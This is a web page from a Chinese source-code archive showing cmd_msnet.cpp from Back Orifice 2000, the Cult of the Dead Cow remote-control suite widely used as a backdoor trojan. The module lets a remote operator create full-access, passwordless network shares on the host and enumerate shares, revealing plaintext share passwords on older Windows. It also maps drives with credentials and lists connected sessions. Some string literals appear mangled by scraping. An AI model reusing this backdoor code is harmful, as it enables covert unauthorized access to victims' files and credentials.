开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
cmd_msnet.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：14k
源码类别：

远程控制编程

开发平台：

WINDOWS

cmd_msnet.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. #include<windows.h>
  21. #include<auth.h>
  22. #include<iohandler.h>
  23. #include<functions.h>
  24. #include<osversion.h>
  25. #include<cmdcmd_msnet.h>
  26. #include<strhandle.h>
  27. #include<permissions.h>
  28. #include<windef.h>
  29. #include<lmcons.h>
  30. #include<lmerr.h>
  31. #include<lmshare.h>
  32. #include<lmaccess.h>
  34. #define SHI50F_RDONLY 0x0001
  35. #define SHI50F_FULL 0x0002
  36. #define SHI50F_DEPENDSON (SHI50F_RDONLY|SHI50F_FULL)
  37. #define SHI50F_ACCESSMASK (SHI50F_RDONLY|SHI50F_FULL)
  38. #define SHI50F_PERSIST 0x0100
  39. #define SHI50F_SYSTEM 0x0200
  41. #pragma pack(push,1)
  43. struct share_info_50 {
  44. char shi50_netname[LM20_NNLEN+1];    /* share name */
  45. unsigned char  shi50_type;                 /* see below */
  46.     unsigned short shi50_flags;                /* see below */
  47. char FAR * shi50_remark;                   /* ANSI comment string */
  48. char FAR * shi50_path;                     /* shared resource */
  49. char shi50_rw_password[SHPWLEN+1];   /* read-write password (share-level security) */
  50. char shi50_ro_password[SHPWLEN+1];   /* read-only password (share-level security) */
  51. }; /* share_info_50 */
  53. struct share_info_2 {
  54.     char shi2_netname[LM20_NNLEN+1];
  55.     char shi2_pad1;
  56.     unsigned short shi2_type;
  57.     char FAR * shi2_remark;
  58.     unsigned short shi2_permissions;
  59.     unsigned short shi2_max_uses;
  60.     unsigned short shi2_current_uses;
  61.     char FAR * shi2_path;
  62.     char  shi2_passwd[SHPWLEN+1];
  63.     char shi2_pad2;
  64. };  /* share_info_2 */
  66. struct session_info_50 {
  67. char FAR * sesi50_cname;            //remote computer name (connection id in Netware)
  68. char FAR * sesi50_username;
  69. unsigned long sesi50_key;           // used to delete session (not used in Netware)
  70. unsigned short sesi50_num_conns;
  71. unsigned short sesi50_num_opens;    //not available in Netware
  72. unsigned long sesi50_time;
  73. unsigned long sesi50_idle_time; //not available in Netware
  74. unsigned char sesi50_protocol;
  75. unsigned char pad1;
  76. }; /* session_info_50 */
  78. #pragma pack(pop)
  81. void CIOSEnumRes(CAuthSocket *cas_from, int comid, NETRESOURCE *pNetContainer, DWORD dwScope, char *svSpacer)
  82. {
  83. char svBuffer[2048];
  85. // Open network resource list
  86. HANDLE hNet;
  87. if (pWNetOpenEnum(dwScope,RESOURCETYPE_ANY,0,pNetContainer,&hNet)!=NO_ERROR) return;
  89. // Enumerate resources
  90. int ret;
  91. DWORD dwCount,dwBufSize;
  92. NETRESOURCE *pNetRes;
  93. pNetRes=(NETRESOURCE *)malloc(16384);
  94. if(pNetRes==NULL) {
  95. pWNetCloseEnum(hNet);
  96. return;
  97. }
  99. dwCount=1;
  100. dwBufSize=8192;
  101. ret=pWNetEnumResource(hNet,&dwCount,pNetRes,&dwBufSize);
  102. while(ret!=ERROR_NO_MORE_ITEMS) {
  103. char *svType,*svLocalName,*svRemoteName,*svComment;
  106. char svURLHead[MAX_PATH+1];
  107. char svURLFoot[MAX_PATH+1];
  108. svURLHead[0]='';
  109. svURLFoot[0]='';
  111. switch(pNetRes->dwDisplayType) {
  112. case RESOURCEDISPLAYTYPE_DOMAIN:
  113. svType="DOMAIN";
  114. break;
  115. case RESOURCEDISPLAYTYPE_GENERIC:
  116. svType="GENERIC";
  117. break;
  118. case RESOURCEDISPLAYTYPE_SERVER:
  119. svType="SERVER";
  120. break;
  121. case RESOURCEDISPLAYTYPE_SHARE:
  122. switch(pNetRes->dwType) {
  123. case RESOURCETYPE_DISK:
  124. svType="FOLDER";
  125. break;
  126. case RESOURCETYPE_PRINT:
  127. svType="PRINTER";
  128. break;
  129. default:
  130. svType="UNKNOWN";
  131. break;
  132. }
  133. break;
  134. default:
  135. svType="NETWORK";
  136. break;
  137. }
  139. if(pNetRes->lpLocalName==NULL) svLocalName="";
  140. else svLocalName=pNetRes->lpLocalName;
  142. if(pNetRes->lpRemoteName==NULL) svRemoteName="";
  143. else svRemoteName=pNetRes->lpRemoteName;
  145. if(pNetRes->lpComment==NULL) svComment="";
  146. else svComment=pNetRes->lpComment;
  148. if(!pNetRes->lpLocalName && !pNetRes->lpRemoteName) {
  149. wsprintf(svBuffer,"%.100s[%s] %.100sn", svSpacer, svType, svComment);
  150. } else {
  151. wsprintf(svBuffer,"%.100s[%s] %.100s (%.100s) "%.100s"n", svSpacer, svType, svRemoteName, svLocalName, svComment);
  152. }
  153. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  155. // Recurse if necessary
  156. if (pNetRes->dwUsage & RESOURCEUSAGE_CONTAINER && dwScope == RESOURCE_GLOBALNET) {
  157. char svSpacer2[100];
  158. lstrcpyn(svSpacer2,svSpacer,100);
  159. if(lstrlen(svSpacer2)<98) lstrcat(svSpacer2,"  ");
  160. CIOSEnumRes(cas_from,comid,pNetRes,dwScope,svSpacer2);
  161. }
  163. dwCount=1;
  164. dwBufSize=16384;
  165. ret=pWNetEnumResource(hNet,&dwCount,pNetRes,&dwBufSize);
  166. }
  167. free(pNetRes);
  168. pWNetCloseEnum(hNet);
  169. }
  171. int CmdProc_NetExportAdd(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  172. {
  173. DWORD ret;
  175. CharUpper(svArg2);
  176. CharUpper(svArg3);
  178. if(g_bIsWinNT) {
  179. SHARE_INFO_502 shinfo;
  180. WCHAR wsvPath[MAX_PATH+1],wsvNetName[256],wsvRemark,wsvPasswd;
  181. MultiByteToWideChar(CP_ACP,MB_PRECOMPOSED,svArg2,-1,wsvPath,MAX_PATH+1);
  182. MultiByteToWideChar(CP_ACP,MB_PRECOMPOSED,svArg3,-1,wsvNetName,256);
  183. wsvRemark=(WCHAR)0;
  184. wsvPasswd=(WCHAR)0;
  186. shinfo.shi502_netname=(LPTSTR)wsvNetName;
  187. shinfo.shi502_type=STYPE_DISKTREE;
  188. shinfo.shi502_remark=(LPTSTR)&wsvRemark;
  189. shinfo.shi502_permissions=ACCESS_ALL;
  190. shinfo.shi502_max_uses=-1;
  191. shinfo.shi502_current_uses=0;
  192. shinfo.shi502_path=(LPTSTR)wsvPath;
  193. shinfo.shi502_passwd=(LPTSTR)&wsvPasswd;
  194. shinfo.shi502_reserved=0;
  195. shinfo.shi502_security_descriptor=NULL;
  196. ret=pLMSNetShareAdd(NULL, 502, (LPBYTE)&shinfo, NULL);
  198. } else {
  199. struct share_info_50 shinfo50;
  201. lstrcpyn(shinfo50.shi50_netname,svArg3,LM20_NNLEN+1);
  202. shinfo50.shi50_type=STYPE_DISKTREE;
  203. shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;
  204. shinfo50.shi50_remark="";
  205. shinfo50.shi50_path=svArg2;
  206. shinfo50.shi50_rw_password[0]=0;
  207. shinfo50.shi50_ro_password[0]=0;
  208. ret=pSVRNetShareAdd(NULL, 50, (char *)&shinfo50, sizeof(struct share_info_50));
  209. }
  211. if(ret==NERR_Success) {
  212. IssueAuthCommandReply(cas_from,comid,0,"Share added successfully.n");
  213. } else {
  214. IssueAuthCommandReply(cas_from,comid,0,"Error adding share.n");
  215. }
  217. return 0;
  218. }
  220. int CmdProc_NetExportDelete(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  221. {
  222. DWORD ret;
  224. CharUpper(svArg3);
  226. if(g_bIsWinNT) {
  227. WCHAR wsvNetName[256];
  228. MultiByteToWideChar(CP_ACP,MB_PRECOMPOSED,svArg3,-1,wsvNetName,256);
  229. ret=pLMSNetShareDel(NULL,wsvNetName,0);
  230. } else {
  231. ret=pSVRNetShareDel(NULL,svArg3,0);
  232. }
  234. if(ret==NERR_Success) {
  235. IssueAuthCommandReply(cas_from,comid,0,"Share removed successfully.n");
  236. } else {
  237. IssueAuthCommandReply(cas_from,comid,0,"Error removing share.n");
  238. }
  240. return 0;
  241. }
  243. int CmdProc_NetExportList(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  244. {
  245. DWORD i;
  247. if(g_bIsWinNT) {
  248. SHARE_INFO_502 *pshinfo;
  249. DWORD dwCount,dwTotal;
  251. pLMSNetShareEnum(NULL,502,(LPBYTE *)&pshinfo,-1,&dwCount,&dwTotal,NULL);
  252. for(i=0;i<dwCount;i++) {
  253. char svBuffer[1024];
  254. char *svType;
  256. switch(pshinfo->shi502_type) {
  257. case STYPE_DISKTREE:
  258. svType="Disk";
  259. break;
  260. case STYPE_PRINTQ:
  261. svType="Printer";
  262. break;
  263. case STYPE_DEVICE:
  264. svType="Device";
  265. break;
  266. case STYPE_IPC:
  267. svType="IPC";
  268. break;
  269. default:
  270. svType="Unknown";
  271. }
  273. wsprintf(svBuffer,"%.100ls [%.100s] (%.260ls) '%.100ls'n",pshinfo->shi502_netname,svType,pshinfo->shi502_path,
  274. pshinfo->shi502_remark);
  275. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  276. if(pshinfo->shi502_security_descriptor) {
  277. IssueSecurityDescriptor(cas_from,comid,pshinfo->shi502_security_descriptor);
  278. }
  280. pshinfo++;
  281. }
  283. // pLMSNetApiBufferFree(pshinfo);
  285. } else {
  286. struct share_info_50 *pshinfo;
  287. WORD dwCount,dwTotal;
  289. pshinfo=(struct share_info_50 *)malloc(16384);
  290. if(pshinfo==NULL) {
  291. IssueAuthCommandReply(cas_from,comid,0,"Error enumerating shares.n");
  292. return -1;
  293. }
  294. pSVRNetShareEnum(NULL,(WORD)50,(char *)pshinfo,(WORD)16384,&dwCount,&dwTotal);
  295. for(i=0;i<dwCount;i++) {
  296. char svBuffer[1024];
  297. char *svType;
  299. switch(pshinfo->shi50_type) {
  300. case STYPE_DISKTREE:
  301. svType="Disk";
  302. break;
  303. case STYPE_PRINTQ:
  304. svType="Printer";
  305. break;
  306. case STYPE_DEVICE:
  307. svType="Device";
  308. break;
  309. case STYPE_IPC:
  310. svType="IPC";
  311. break;
  312. default:
  313. svType="Unknown";
  314. }
  316. wsprintf(svBuffer,"%.100s [%.100s] (%.260s) "%.100s"  RO passwd:%.100s  RW passwd:%.100s  %s%s%s%sn",
  317.   pshinfo->shi50_netname,
  318.   svType,
  319.   pshinfo->shi50_path,
  320.   pshinfo->shi50_remark?pshinfo->shi50_remark:"",
  321.   pshinfo->shi50_ro_password?(pshinfo->shi50_ro_password[0]!=''?pshinfo->shi50_ro_password:"(none)"):"(none)",
  322.   pshinfo->shi50_rw_password?(pshinfo->shi50_rw_password[0]!=''?pshinfo->shi50_rw_password:"(none)"):"(none)",
  323.   (pshinfo->shi50_flags & SHI50F_PERSIST)?"PERSISTANT ":"",
  324.   (pshinfo->shi50_flags & SHI50F_SYSTEM)?"SYSTEM ":"",
  325.   (pshinfo->shi50_flags & SHI50F_RDONLY)?"READONLY ":"",
  326.   (pshinfo->shi50_flags & SHI50F_FULL)?"FULL":"");
  328. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  330. pshinfo++;
  331. }
  332. free(pshinfo);
  333. }
  334. return 0;
  335. }
  337. int CmdProc_NetView(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  338. {
  339. CIOSEnumRes(cas_from, comid, NULL, RESOURCE_GLOBALNET, "");
  340. return 0;
  341. }
  343. int CmdProc_NetUse(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  344. {
  345. char svBuffer[1024];
  346. NETRESOURCE nr;
  348. char *svLocalName, *svRemotePath, *svUsername, *svPassword;
  349. svLocalName=svArg2;
  350. svRemotePath=BreakString(svLocalName,",");
  351. while((*svRemotePath)==' ') svRemotePath++;
  352. svUsername=svArg3;
  353. svPassword=BreakString(svUsername,":");
  355. CharUpper(svLocalName);
  356. if(strncmp(svLocalName,"LPT",3)==0) nr.dwType=RESOURCETYPE_PRINT;
  357. else nr.dwType=RESOURCETYPE_DISK;
  358. if(svLocalName[0]=='') nr.lpLocalName=NULL;
  359. else nr.lpLocalName=svLocalName;
  360. nr.lpRemoteName=svRemotePath;
  361. nr.lpProvider=NULL;
  363. if(svPassword) if(svPassword[0]=='') svPassword=NULL;
  364. if(svUsername) if(svUsername[0]=='') svUsername=NULL;
  366. if(pWNetAddConnection2(&nr, svPassword, svUsername, CONNECT_UPDATE_PROFILE) != NO_ERROR) {
  367. wsprintf(svBuffer,"Error mapping shared device.n");
  368. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  369. } else {
  370. wsprintf(svBuffer,"Shared device mapped successfully.n");
  371. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  372. }
  374. return 0;
  375. }
  377. int CmdProc_NetDelete(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  378. {
  379. char svBuffer[1024];
  381. if(pWNetCancelConnection2(svArg2,CONNECT_UPDATE_PROFILE,TRUE) != NO_ERROR) {
  382. wsprintf(svBuffer,"Error unmapping shared device.n");
  383. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  384. } else {
  385. wsprintf(svBuffer,"Shared device unmapped successfully.n");
  386. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  387. }
  389. return 0;
  390. }
  392. int CmdProc_NetConnections(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  393. {
  394. char svBuffer[1024];
  396. wsprintf(svBuffer,"Current connections:n");
  397. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  398. CIOSEnumRes(cas_from, comid, NULL, RESOURCE_CONNECTED, "  ");
  400. wsprintf(svBuffer,"Persistent connections:n");
  401. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  402. CIOSEnumRes(cas_from, comid, NULL, RESOURCE_REMEMBERED, "  ");
  404. wsprintf(svBuffer,"Incoming connections:n");
  405. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  407. if(g_bIsWinNT) {
  408. SESSION_INFO_502 *psinfo;
  409. DWORD dwCount, dwTotal, i;
  411. pLMSNetSessionEnum(NULL,NULL,NULL,502,(LPBYTE *)&psinfo,65536,&dwCount,&dwTotal,NULL);
  413. for(i=0;i<dwCount;i++) {
  414. wsprintf(svBuffer, "Computer: %.100ls User: %.100ls Opens: %d Time: %ds Idle: %ds Transport: %.100ls %s%sn", 
  415. psinfo->sesi502_cname, 
  416. psinfo->sesi502_username, 
  417. (int)psinfo->sesi502_num_opens, 
  418. (int)psinfo->sesi502_time, 
  419. (int)psinfo->sesi502_idle_time,
  420. psinfo->sesi502_transport,
  421. (psinfo->sesi502_user_flags & SESS_GUEST)?"(GUEST)":"",
  422. (psinfo->sesi502_user_flags & SESS_NOENCRYPTION)?"(NO ENCRYPTION)":"");
  424. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  426. psinfo++;
  427. }
  429. // pLMSNetApiBufferFree(psinfo);
  431. } else {
  432. struct session_info_50 *psinfo;
  433. WORD wCount, wTotal, i;
  435. psinfo=(struct session_info_50 *) malloc(16384);
  436. if(psinfo==NULL) {
  437. IssueAuthCommandReply(cas_from,comid,1,"Error allocating memory.n");
  438. return -1;
  439. }
  441. if(pSVRNetSessionEnum(NULL, 50, (char *)psinfo, 16384, &wCount, &wTotal)==0) {
  442. for(i=0;i<wCount;i++) {
  443. wsprintf(svBuffer, "Computer: '%s' User: '%s' Connects: %d Opens: %d Time: %d Idle: %d Prot: %dn", 
  444. psinfo->sesi50_cname, psinfo->sesi50_username, (int)psinfo->sesi50_num_conns, 
  445. (int)psinfo->sesi50_num_opens, (int)psinfo->sesi50_time, (int)psinfo->sesi50_idle_time,
  446. (int)psinfo->sesi50_protocol);
  448. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  449. psinfo++;
  450. }
  451. } else {
  452. IssueAuthCommandReply(cas_from,comid,1,"Error enumerating connections.n");
  453. free(psinfo);
  454. return -1;
  455. }
  457. free(psinfo);
  458. }
  460. return 0;
  461. }